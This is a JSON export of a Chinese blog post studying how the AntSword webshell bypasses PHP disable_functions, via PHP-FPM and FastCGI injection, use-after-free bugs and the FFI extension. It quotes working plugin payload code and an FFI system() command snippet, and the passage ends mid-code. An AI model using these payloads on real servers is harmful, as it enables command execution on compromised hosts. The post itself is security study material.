{"id":537,"date":"2022-11-30T19:27:46","date_gmt":"2022-11-30T11:27:46","guid":{"rendered":"http:\/\/119.45.47.125\/?p=537"},"modified":"2022-12-01T11:50:25","modified_gmt":"2022-12-01T03:50:25","slug":"antsword%e4%b8%8edisable_functions-2","status":"publish","type":"post","link":"http:\/\/119.45.47.125\/index.php\/2022\/11\/30\/antsword%e4%b8%8edisable_functions-2\/","title":{"rendered":"AntSword\u4e0edisable_functions\uff08\u4e8c\uff09"},"content":{"rendered":"<h2>\u53c2\u8003\u6587\u7ae0<\/h2>\n<ul><li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.anquanke.com\/post\/id\/208451\" title=\"bypass disable_function\u591a\u79cd\u65b9\u6cd5+\u5b9e\u4f8b\">bypass disable_function\u591a\u79cd\u65b9\u6cd5+\u5b9e\u4f8b<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/xz.aliyun.com\/t\/10057\" title=\"bypass disable_functions\u59ff\u52bf\u603b\u7ed3\">bypass disable_functions\u59ff\u52bf\u603b\u7ed3<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/blog.csdn.net\/qq_51770207\/article\/details\/126997602\" title=\"\u7ed5\u8fc7disable_function\">\u7ed5\u8fc7disable_function<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.mi1k7ea.com\/2019\/06\/02\/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95\" title=\"\u6d45\u8c08\u51e0\u79cdBypass disable_functions\u7684\u65b9\u6cd5\">\u6d45\u8c08\u51e0\u79cdBypass disable_functions\u7684\u65b9\u6cd5<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/xz.aliyun.com\/t\/5598\" title=\"\u6d45\u6790php-fpm\u7684\u653b\u51fb\u65b9\u5f0f\">\u6d45\u6790php-fpm\u7684\u653b\u51fb\u65b9\u5f0f<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"http:\/\/www.plasf.cn\/articles\/PHP%E2%80%94FPM%E6%94%BB%E5%87%BB.html\" title=\"PHP\u2014FPM\u653b\u51fb\">PHP\u2014FPM\u653b\u51fb<\/a><\/li>\n<\/ul>\n<hr \/>\n<h2>4.PHP-FPM<\/h2>\n<hr \/>\n<h3>\u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<ul><li>Linux \u64cd\u4f5c\u7cfb\u7edf<\/li>\n<li>PHP-FPM<\/li>\n<li>\u5b58\u5728\u53ef\u5199\u7684\u76ee\u5f55, \u9700\u8981\u4e0a\u4f20<code>.so<\/code>\u6587\u4ef6<\/li>\n<\/ul>\n<h3>\u65b9\u6cd5\u539f\u7406\uff1a<\/h3>\n<p>\u5173\u4e8e CGI\uff0c\u5728\u4e0a\u4e00\u4e2a Apache Mod CGI \u91cc\u5df2\u7ecf\u63d0\u5230\u8fc7\u4e86\uff0c\u5b83\u662f\u5c06 php \u89e3\u91ca\u5668\u505a\u6210\u4e00\u4e2a\u6a21\u5757\u653e\u5728 Web \u670d\u52a1\u5668\u91cc\uff0c\u5f53\u6709\u65b0\u7684\u52a8\u6001\u8bf7\u6c42\u8fdb\u6765\u65f6\uff0cWeb \u670d\u52a1\u5668\u81ea\u5df1\u53bb\u89e3\u6790\u811a\u672c<\/p>\n<p>Fast-CGI \u662f\u5bf9 CGI \u7684\u4e00\u4e2a\u6539\u8fdb\uff0c\u4f46\u662f\u672c\u8d28\u4e0a\u90fd\u662f\u4e00\u6837\u7684\uff0c\u90fd\u662f\u534f\u8bae\uff0c\u5b83\u7684\u6539\u8fdb\u4e3b\u8981\u4f53\u73b0\u5728\u6bcf\u6b21\u5904\u7406\u5b8c\u8bf7\u6c42\u540e\uff0c\u4e0d\u4f1a kill \u6389\u8fd9\u4e2a\u8fdb\u7a0b\uff0c\u800c\u662f\u4fdd\u7559\u8fd9\u4e2a\u8fdb\u7a0b\uff0c\u4f7f\u8fd9\u4e2a\u8fdb\u7a0b\u53ef\u4ee5\u4e00\u6b21\u5904\u7406\u591a\u4e2a\u8bf7\u6c42\uff0c\u63d0\u9ad8\u6548\u7387\uff1b\u534f\u8bae\u7684\u5206\u6790\u53ef\u4ee5\u53c2\u8003 P\u795e \u7684\u6587\u7ae0<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.leavesongs.com\/PENETRATION\/fastcgi-and-php-fpm.html\" title=\"\u300aFastcgi\u534f\u8bae\u5206\u6790 &amp;&amp; PHP-FPM\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e &amp;&amp; Exp\u7f16\u5199\u300b\">\u300aFastcgi\u534f\u8bae\u5206\u6790 &amp;&amp; PHP-FPM\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e &amp;&amp; Exp\u7f16\u5199\u300b<\/a><\/p>\n<blockquote>\n  FPM\u5176\u5b9e\u662f\u4e00\u4e2afastcgi\u534f\u8bae\u89e3\u6790\u5668\uff0cNginx\u7b49\u670d\u52a1\u5668\u4e2d\u95f4\u4ef6\u5c06\u7528\u6237\u8bf7\u6c42\u6309\u7167fastcgi\u7684\u89c4\u5219\u6253\u5305\u597d\u901a\u8fc7TCP\u4f20\u7ed9\u8c01\uff1f\u5176\u5b9e\u5c31\u662f\u4f20\u7ed9FPM\u3002<br>\n  FPM\u6309\u7167fastcgi\u7684\u534f\u8bae\u5c06TCP\u6d41\u89e3\u6790\u6210\u771f\u6b63\u7684\u6570\u636e\u3002\n<\/blockquote>\n<p>\u5728\u624b\u518c\u91cc\uff0c<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.php.net\/manual\/zh\/install.fpm.php\" title=\"FPM\">FPM<\/a> \u662f PHP FastCGI \u7684\u4e3b\u8981\u5b9e\u73b0\uff0c\u5305\u542b\u5927\u90e8\u5206\u5bf9\u9ad8\u8d1f\u8f7d\u7f51\u7ad9\u6709\u7528\u7684\u529f\u80fd<\/p>\n<p>\u5728\u9776\u673a\u7684<code>\/usr\/local\/etc\/php-fpm.d\/www.conf<\/code>\u4e0b\u53ef\u4ee5\u770b\u5230\u76d1\u542c\u7aef\u53e3\u4e3a 9000<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_5b739c424678ee4c4c70b44145bff09a.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_5b739c424678ee4c4c70b44145bff09a.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>Nginx + PHP-FPM \u7684\u5904\u7406\u6d41\u7a0b\u53ef\u4ee5\u53c2\u8003\u4e0b\u56fe\uff0c\u51fa\u81ea<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/juejin.cn\/post\/6844903471976546311\" title=\"\u8fd9\u91cc\">\u8fd9\u91cc<\/a><\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_dce7cb322e43d62b209d6e1ff3e71ec0.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_dce7cb322e43d62b209d6e1ff3e71ec0.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u90a3\u4e48\u534f\u8bae\u5982\u4f55\u901a\u4fe1\u4ee5\u53ca\u5b57\u6bb5\u7684\u542b\u4e49\uff0cP\u795e\u5df2\u7ecf\u5199\u5f97\u5f88\u6e05\u695a\u4e86\uff0c\u4e0d\u5728\u8fd9\u51d1\u5b57\u6570\u4e86\uff1b\u4e4b\u6240\u4ee5\u53ef\u4ee5\u7528\u6765\u7a81\u7834 DF\uff0c\u5c31\u662f\u5efa\u7acb\u5728 PHP-FPM \u9ed8\u8ba4\u901a\u4fe1\u7aef\u53e3 9000 \u66b4\u9732\u5728\u516c\u7f51\u7684\u57fa\u7840\u4e0a\uff0c\u53ef\u4ee5\u6784\u9020 Fast-CGI \u534f\u8bae\uff0c\u548c FPM \u8fdb\u884c\u901a\u4fe1<\/p>\n<p>\u5728\u9776\u673a\u7684<code>fastcgi_params<\/code>\u4e2d\u53ef\u4ee5\u627e\u5230\u5b9a\u4e49\u7684\u5b57\u6bb5<\/p>\n<pre><code class=\"language-shell line-numbers\"># cat fastcgi_params\n\nfastcgi_param  QUERY_STRING       $query_string;\nfastcgi_param  REQUEST_METHOD     $request_method;\nfastcgi_param  CONTENT_TYPE       $content_type;\nfastcgi_param  CONTENT_LENGTH     $content_length;\n\nfastcgi_param  SCRIPT_NAME        $fastcgi_script_name;\nfastcgi_param  REQUEST_URI        $request_uri;\nfastcgi_param  DOCUMENT_URI       $document_uri;\nfastcgi_param  DOCUMENT_ROOT      $document_root;\nfastcgi_param  SERVER_PROTOCOL    $server_protocol;\nfastcgi_param  REQUEST_SCHEME     $scheme;\nfastcgi_param  HTTPS              $https if_not_empty;\n\nfastcgi_param  GATEWAY_INTERFACE  CGI\/1.1;\nfastcgi_param  SERVER_SOFTWARE    nginx\/$nginx_version;\n\nfastcgi_param  REMOTE_ADDR        $remote_addr;\nfastcgi_param  REMOTE_PORT        $remote_port;\nfastcgi_param  SERVER_ADDR        $server_addr;\nfastcgi_param  SERVER_PORT        $server_port;\nfastcgi_param  SERVER_NAME        $server_name;\n\n# PHP only, required if PHP was built with --enable-force-cgi-redirect\nfastcgi_param  REDIRECT_STATUS    200;\n<\/code><\/pre>\n<p>\u4f46\u662f\u5e76\u4e0d\u610f\u5473\u7740\u53ea\u80fd\u4f20\u9012\u4ee5\u4e0a\u7684\u5b57\u6bb5\uff0c\u5728\u5b98\u65b9\u6587\u6863\u7684<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.php.net\/manual\/zh\/install.fpm.configuration.php\" title=\"\u914d\u7f6e\">\u914d\u7f6e<\/a>\u91cc\u53ef\u4ee5\u627e\u5230\u8fd9\u90e8\u5206\u5185\u5bb9<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_6273e1226dce6835e05945bccd32780e.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_6273e1226dce6835e05945bccd32780e.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u4e5f\u5c31\u662f\u8bf4\uff0c\u53ef\u4ee5\u4f20\u9012\u8fdb\u53bb<code>'PHP_VALUE': 'auto_prepend_file = php:\/\/input'<\/code>\u548c<code>'PHP_ADMIN_VALUE': 'allow_url_include = On'<\/code>\uff0c\u5728\u6267\u884c .php \u811a\u672c\u4e4b\u524d\u5305\u542b<code>auto_prepend_file<\/code>\u6587\u4ef6\u7684\u5185\u5bb9\uff0c<code>php:\/\/input<\/code>\u4e5f\u5c31\u662f POST \u7684\u5185\u5bb9\uff0c\u4e5f\u5c31\u662f body\uff0c\u4ece\u800c\u7a81\u7834<code>SCRIPT_FILENAME<\/code>\u5e26\u6765\u7684\u9650\u5236<\/p>\n<p>\u770b\u770b\u8681\u5251\u662f\u600e\u4e48\u505a\u7684<\/p>\n<pre><code class=\"language-javascript line-numbers\">exploit() {\n    let self = this;\n    let fpm_host = '';\n    let fpm_port = -1;\n    let port = Math.floor(Math.random() * 5000) + 60000; \/\/ 60000~65000\n    if (self.form.validate()) {\n      self.cell.progressOn();\n      let core = self.top.core;\n      let formvals = self.form.getValues();\n      let phpbinary = formvals['phpbinary'];\n      let webrootdir = formvals['webrootdir'];\n      formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();\n      if (formvals['fpm_addr'].startsWith('unix:')) {\n        fpm_host = formvals['fpm_addr'];\n      } else if (formvals['fpm_addr'].startsWith('\/')) {\n        fpm_host = `unix:\/\/${formvals['fpm_addr']}`\n      } else {\n        fpm_host = formvals['fpm_addr'].split(':')[0] || '';\n        fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;\n      }\n...\n    new Promise((res, rej) =&gt; {...\n    }).then((p) =&gt; {\n        \/\/ \u89e6\u53d1 payload, \u4f1a\u8d85\u65f6\n        var payload = `${FastCgiClient()};\n          $content=\"\";\n          $client = new Client('${fpm_host}',${fpm_port});\n          $client-&gt;request(array(\n            'GATEWAY_INTERFACE' =&gt; 'FastCGI\/1.0',\n            'REQUEST_METHOD' =&gt; 'POST',\n            'SERVER_SOFTWARE' =&gt; 'php\/fcgiclient',\n            'REMOTE_ADDR' =&gt; '127.0.0.1',\n            'REMOTE_PORT' =&gt; '9984',\n            'SERVER_ADDR' =&gt; '127.0.0.1',\n            'SERVER_PORT' =&gt; '80',\n            'SERVER_NAME' =&gt; 'mag-tured',\n            'SERVER_PROTOCOL' =&gt; 'HTTP\/1.1',\n            'CONTENT_TYPE' =&gt; 'application\/x-www-form-urlencoded',\n            'PHP_VALUE' =&gt; 'extension=${p}',\n            'PHP_ADMIN_VALUE' =&gt; 'extension=${p}',\n            'CONTENT_LENGTH' =&gt; strlen($content)\n            ),\n            $content\n          );\n          sleep(1);\n          echo(1);\n        `;\n        core.request({\n          _: payload,\n        }).then((response) =&gt; {\n\n        }).catch((err) =&gt; {\n          \/\/ \u8d85\u65f6\u4e5f\u662f\u6b63\u5e38\n        })\n      })\n<\/code><\/pre>\n<p>\u4f9d\u7136\u4f1a\u542f\u52a8\u4e00\u4e2a\u65b0\u7684 Web Server\uff0c\u6839\u636e\u4e00\u5f00\u59cb\u754c\u9762\u9009\u62e9\u7684 FPM\/FCGI \u5730\u5740\u5224\u65ad\u901a\u4fe1\u65b9\u5f0f\uff0c\u627e\u51fa<code>fpm_host<\/code>\u548c<code>fpm_port<\/code>\uff0c\u4f8b\u5982\u9776\u673a\u91cc\u7528\u7684\u662f TCP\uff0c\u4e5f\u5c31\u662f\u6700\u540e\u4e00\u4e2a else<\/p>\n<p>\u7136\u540e\u8c03\u7528\u4e86 payload.js \u4e2d 2-314 \u884c\u7684\u7c7b<code>FastCgiClient()<\/code>\uff0c\u4f20\u5165\u53d8\u91cf\uff0c\u53ef\u4ee5\u770b\u5230\u5728<code>$client-&gt;request<\/code>\u91cc\u5e76\u6ca1\u6709\u51fa\u73b0<code>SCRIPT_FILENAME<\/code>\uff0c\u800c\u4e14<code>PHP_VALUE<\/code>\u548c<code>PHP_ADMIN_VALUE<\/code>\u8bbe\u7f6e\u7684\u90fd\u662f<code>extension=ext_path<\/code><\/p>\n<p>\u6240\u4ee5\uff0c\u8681\u5251\u662f\u901a\u8fc7\u653b\u51fb PHP-FPM \u52a0\u8f7d\u6076\u610f\u7684 .so\uff0c\u518d\u5229\u7528 .antproxy \u8f6c\u53d1\u5230\u65b0\u5f00\u542f\u7684 Web Server \u4e0a<\/p>\n<hr \/>\n<blockquote>\n  \u8fd9\u4e24\u5e74\u90e8\u5206 CTF \u6bd4\u8d5b\u91cc\u9762\u6709\u7684\u9898\u76ee\u4e5f\u6d89\u53ca\u5230\u4e86 PHP-FPM \u7684\u591a\u79cd\u5229\u7528\u65b9\u5f0f\uff0c\u540e\u9762\u518d\u5b66\u4e60\u4e0b\n<\/blockquote>\n<hr \/>\n<h2>5.Json Serializer UAF<\/h2>\n<hr \/>\n<h3>\u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<ul><li>Linux \u64cd\u4f5c\u7cfb\u7edf<\/li>\n<li>PHP 7.1 &#8211; all versions to date<\/li>\n<li>PHP 7.2 &lt; 7.2.19 (released: 30 May 2019)<\/li>\n<li>PHP 7.3 &lt; 7.3.6 (released: 30 May 2019)<\/li>\n<\/ul>\n<h3>\u65b9\u6cd5\u539f\u7406\uff1a<\/h3>\n<p>\u53c2\u89c1 <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/bugs.php.net\/bug.php?id=77843\" title=\"Bug #77843\">Bug #77843<\/a>\uff0cUAF \u5c31\u662f Use-After-Free\uff0c\u5728 Json Serializer\u4e2d\u91ca\u653e\u540e\u4f7f\u7528\u6f0f\u6d1e\uff0c\u56e0\u4e3a\u6211\u4e5f\u4e0d\u662f\u5f88\u61c2\ud83d\ude05\uff0c\u4f46\u662f\u770b\u8fd9\u7bc7<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.freebuf.com\/column\/202385.html\" title=\"\u6587\u7ae0\">\u6587\u7ae0<\/a>\u7684 2.2 \u90e8\u5206\u8fd8\u662f\u80fd\u7406\u89e3\u4e00\u4e22\u4e22\u7684<\/p>\n<p>\u8681\u5251\u5173\u4e8e\u8fd9\u90e8\u5206\u7684\u63d2\u4ef6\u4e5f\u662f\u501f\u9274\u4e86<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/github.com\/mm0r1\/exploits\/tree\/master\/php-json-bypass\" title=\"\u8fd9\u4e2a\">\u8fd9\u4e2a<\/a>\uff0c<code>exp()<\/code>\u5c01\u88c5\u540e\u4e5f\u6ca1\u90a3\u4e48\u590d\u6742<\/p>\n<pre><code class=\"language-javascript line-numbers\">  exploit() {\n    let self = this;\n    self.core = self.top.core;\n    let binary = '\/bin\/sh'\n    if(self.top.infodata.os.toLowerCase().startsWith('win')) {\n      binary = 'cmd'\n    }\n    new antSword.module.terminal(self.top.opt, {\n      exec: (arg = {\n        bin: binary,\n        cmd: ''\n      }) =&gt; {\n        return {\n          _: JSON_Serializer_UAF(arg['bin'], arg['cmd']),\n        }\n      }\n    });\n  }\n<\/code><\/pre>\n<p>\u76f4\u63a5\u5728 shell \u4e0b\u6267\u884c\u547d\u4ee4\u5c31\u884c\uff0c\u4f46\u662f\u4e00\u6b21\u4e0d\u4e00\u5b9a\u80fd\u6210\uff0c\u5f97\u591a\u8bd5\u51e0\u6b21<\/p>\n<hr \/>\n<h2>6.PHP7 GC with Certain Destructors UAF<\/h2>\n<hr \/>\n<h3>\u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<ul><li>Linux \u64cd\u4f5c\u7cfb\u7edf<\/li>\n<li>PHP 7.0 &#8211; all versions to date<\/li>\n<li>PHP 7.1 &#8211; all versions to date<\/li>\n<li>PHP 7.2 &#8211; all versions to date<\/li>\n<li>PHP 7.3 &#8211; all versions to date<\/li>\n<\/ul>\n<h3>\u65b9\u6cd5\u539f\u7406\uff1a<\/h3>\n<p>\u53c2\u89c1 <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/bugs.php.net\/bug.php?id=72530\" title=\"Bug #72530\">Bug #72530<\/a>\uff0c\u5229\u7528\u7684\u662f PHP garbage collector \u7a0b\u5e8f\u4e2d\u7684\u5806\u6ea2\u51fa\u89e6\u53d1\uff0cGC \u7684\u673a\u5236\u53ef\u4ee5\u5230<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.php.net\/manual\/zh\/features.gc.php\" title=\"\u5b98\u65b9\u6587\u6863\">\u5b98\u65b9\u6587\u6863<\/a>\u91cc\u53bb\u4e86\u89e3\uff0c\u5173\u4e8e\u56de\u6536\u673a\u5236\u548c\u53cd\u5e8f\u5217\u5316\u673a\u5236\uff0c\u53ef\u4ee5\u5230\u5b89\u5168\u5ba2\u7684\u8fd9\u4e24\u7bc7\u6587\u7ae0\u53bb\u770b\uff0c\u6709\u5e08\u5085\u5df2\u7ecf\u7ffb\u8bd1\u8fc7\u6765\u4e86<\/p>\n<ul><li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.anquanke.com\/post\/id\/149421\" title=\"\u5982\u4f55\u653b\u7834PHP\u7684\u5783\u573e\u56de\u6536\u548c\u53cd\u5e8f\u5217\u5316\u673a\u5236\uff08\u4e0a\uff09\">\u5982\u4f55\u653b\u7834PHP\u7684\u5783\u573e\u56de\u6536\u548c\u53cd\u5e8f\u5217\u5316\u673a\u5236\uff08\u4e0a\uff09<\/a><\/li>\n<li><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.anquanke.com\/post\/id\/149424\" title=\"\u5982\u4f55\u653b\u7834PHP\u7684\u5783\u573e\u56de\u6536\u548c\u53cd\u5e8f\u5217\u5316\u673a\u5236\uff08\u4e0b\uff09\">\u5982\u4f55\u653b\u7834PHP\u7684\u5783\u573e\u56de\u6536\u548c\u53cd\u5e8f\u5217\u5316\u673a\u5236\uff08\u4e0b\uff09<\/a><\/li>\n<\/ul>\n<hr \/>\n<h2>7.Backtrace UAF &amp;&amp; 8.SplDoublyLinkedList UAC<\/h2>\n<hr \/>\n<blockquote>\n  UAF \u548c UAC \u8fd9\u4e24\u90e8\u5206\u4e0d\u662f\u5f88\u597d\u61c2\uff0c\u770b\u522b\u7684\u5e08\u5085\u7684\u5206\u6790\u6587\u7ae0\u90fd\u8d39\u52b2\ud83d\ude05\uff0c\u5c31\u590d\u73b0\u4e00\u4e0b\u7b97\u26bd\u4e86\n<\/blockquote>\n<h3>Backtrace \u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<ul><li>Linux \u64cd\u4f5c\u7cfb\u7edf<\/li>\n<li>PHP 7.0 &#8211; all versions to date<\/li>\n<li>PHP 7.1 &#8211; all versions to date<\/li>\n<li>PHP 7.2 &#8211; all versions to date<\/li>\n<li>PHP 7.3 &lt; 7.3.15 (released 20 Feb 2020)<\/li>\n<li>PHP 7.4 &lt; 7.4.3 (released 20 Feb 2020)<\/li>\n<\/ul>\n<h3>Backtrace \u65b9\u6cd5\u539f\u7406\uff1a<\/h3>\n<p>\u6307\u5411\u7684\u662f <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/bugs.php.net\/bug.php?id=76047\" title=\"Bug #76047\">Bug #76047<\/a>\uff0c\u5229\u7528<code>debug_backtrace()<\/code>\u6765\u5b8c\u6210<\/p>\n<blockquote>\n  This exploit uses a two year old bug in <code>debug_backtrace()<\/code>function. We can trick it into returning a reference to a variable that has been destroyed, causing a use-after-free vulnerability.\n<\/blockquote>\n<h3>SplDoublyLinkedList \u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<ul><li>PHP v8.0\uff08Alpha\uff09<\/li>\n<li>PHP v7.4.10 \u53ca\u5176\u4e4b\u524d\u7248\u672c<\/li>\n<\/ul>\n<h3>SplDoublyLinkedList \u65b9\u6cd5\u539f\u7406\uff1a<\/h3>\n<p>\u6307\u5411 <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/bugs.php.net\/bug.php?id=80111\" title=\"Bug #80111\">Bug #80111<\/a> \uff0c\u53ef\u4ee5\u53c2\u8003\u8fd9\u4e24\u7bc7\u6587\u7ae0\uff1a<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.freebuf.com\/articles\/web\/251017.html\" title=\"\u300aPHP SplDoublyLinkedList\u4e2d\u7684\u7528\u540e\u91ca\u653e\u6f0f\u6d1e\u5206\u6790\u300b\">\u300aPHP SplDoublyLinkedList\u4e2d\u7684\u7528\u540e\u91ca\u653e\u6f0f\u6d1e\u5206\u6790\u300b<\/a>\u548c<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/xz.aliyun.com\/t\/8355\" title=\"\u300a\u901a\u8fc7UAF bypass PHP disabled functions\u300b\">\u300a\u901a\u8fc7UAF bypass PHP disabled functions\u300b<\/a><\/p>\n<blockquote>\n  SplDoublyLinkedList \u53cc\u5411\u94fe\u8868\u5e93\u4e2d\u5b58\u5728\u4e00\u4e2a\u7528\u540e\u91ca\u653e\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5c06\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u8fd0\u884c PHP \u4ee3\u7801\u6765\u8f6c\u4e49 disable_functions \u9650\u5236\u51fd\u6570\u3002\u5728\u8be5\u6f0f\u6d1e\u7684\u5e2e\u52a9\u4e0b\uff0c\u8fdc\u7a0b\u653b\u51fb\u8005\u5c06\u80fd\u591f\u5b9e\u73b0 PHP \u6c99\u7bb1\u9003\u9038\uff0c\u5e76\u6267\u884c\u4efb\u610f\u4ee3\u7801\n<\/blockquote>\n<hr \/>\n<h2>9.\u5229\u7528 FFI \u6269\u5c55<\/h2>\n<hr \/>\n<h3>\u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<ul><li>Linux \u64cd\u4f5c\u7cfb\u7edf<\/li>\n<li>PHP &gt;= 7.4<\/li>\n<li>\u5f00\u542f\u4e86 FFI \u6269\u5c55\u4e14 ffi.enable=true<\/li>\n<\/ul>\n<h3>\u65b9\u6cd5\u539f\u7406\uff1a<\/h3>\n<p><a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.php.net\/manual\/zh\/book.ffi.php\" title=\"FFI\">FFI<\/a> \u5916\u90e8\u51fd\u6570\u63a5\u53e3\uff0c\u5141\u8bb8\u5728\u7eaf PHP \u4e2d\u52a0\u8f7d\u5171\u4eab\u5e93\uff08.DLL \u6216 .so\uff09\u3001\u8c03\u7528 C \u51fd\u6570\u3001\u8bbf\u95ee C \u6570\u636e\u7ed3\u6784\uff1b\u4e4b\u6240\u4ee5\u53ef\u4ee5\u7528\u6765\u7a81\u7834\uff0c\u662f\u56e0\u4e3a\u6211\u4eec\u53ef\u4ee5\u5229\u7528 <code>FFI::cdef()<\/code>\u58f0\u660e\u8981\u8c03\u7528\u7684 C \u51fd\u6570\uff0c\u7136\u540e\u5229\u7528 FFI \u53d8\u91cf\u6267\u884c\uff0c<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.php.net\/manual\/zh\/ffi.examples-basic.php\" title=\"\u793a\u4f8b\">\u793a\u4f8b<\/a>\u4e2d\u5df2\u7ecf\u7ed9\u51fa\u4e86\u4e0d\u5c11<\/p>\n<pre><code class=\"language-php line-numbers\">&lt;?php\n$ffi = FFI::cdef(\"int system(const char *command);\");\n$ffi-&gt;system(\"id &gt; \/tmp\/ffi\");\necho file_get_contents(\"\/tmp\/ffi\");\n@unlink(\"\/tmp\/123\");\n<\/code><\/pre>\n<p>\u8681\u5251\u8fd9\u91cc\u533a\u5206\u4e86 Win \u548c Linux<\/p>\n<pre><code class=\"language-javascript line-numbers\">exploit() {\n    let self = this;\n    self.core = self.top.core;\n    let _precode = {\n      _: `$rt = array(\"ffi\" =&gt; extension_loaded(\"ffi\"),\n      \"ffi_enable\" =&gt; ini_get(\"ffi.enable\"),\n      );\n      echo json_encode($rt);`\n    };\n    new Promise((res, rej) =&gt; {\n      self.core\n        .request(_precode)\n        .then((_ret) =&gt; {\n          let _res = antSword.unxss(_ret['text']);\n          self.infodata = Object.assign(self.infodata, JSON.parse(_res));\n          self.createForm(self.cell);\n          res(self.infodata);\n        }).catch((err) =&gt; {\n          rej(err);\n        })\n    }).then(info =&gt; {\n      if (!info.ffi) {\n        throw new Error(PHP74_FFI_LANG['err']['ffi_not_loaded']);\n      }\n      if (info.ffi_enable != \"1\") {\n        throw new Error(PHP74_FFI_LANG['err']['ffi_not_enable']);\n      }\n    })\n    .then(() =&gt; {\n      if (self.top.infodata.os.toLowerCase().indexOf(\"win\") &gt; -1) {\n        new antSword.module.terminal(self.top.opt, {\n          exec: (arg = {\n            bin: 'cmd',\n            cmd: ''\n          }) =&gt; {\n            return {\n              _: `$tmp = tempnam(sys_get_temp_dir(), 'as');\n$cmd = \"${arg['bin']} \/c \\\\\\\"\".@base64_decode(\"${Buffer.from(arg['cmd']).toString('base64')}\").\"\\\\\\\" &gt; \".$tmp;\n$ffi = FFI::cdef(\"int system(const char *command);\", \"msvcrt\");\n$ffi-&gt;system($cmd);\necho 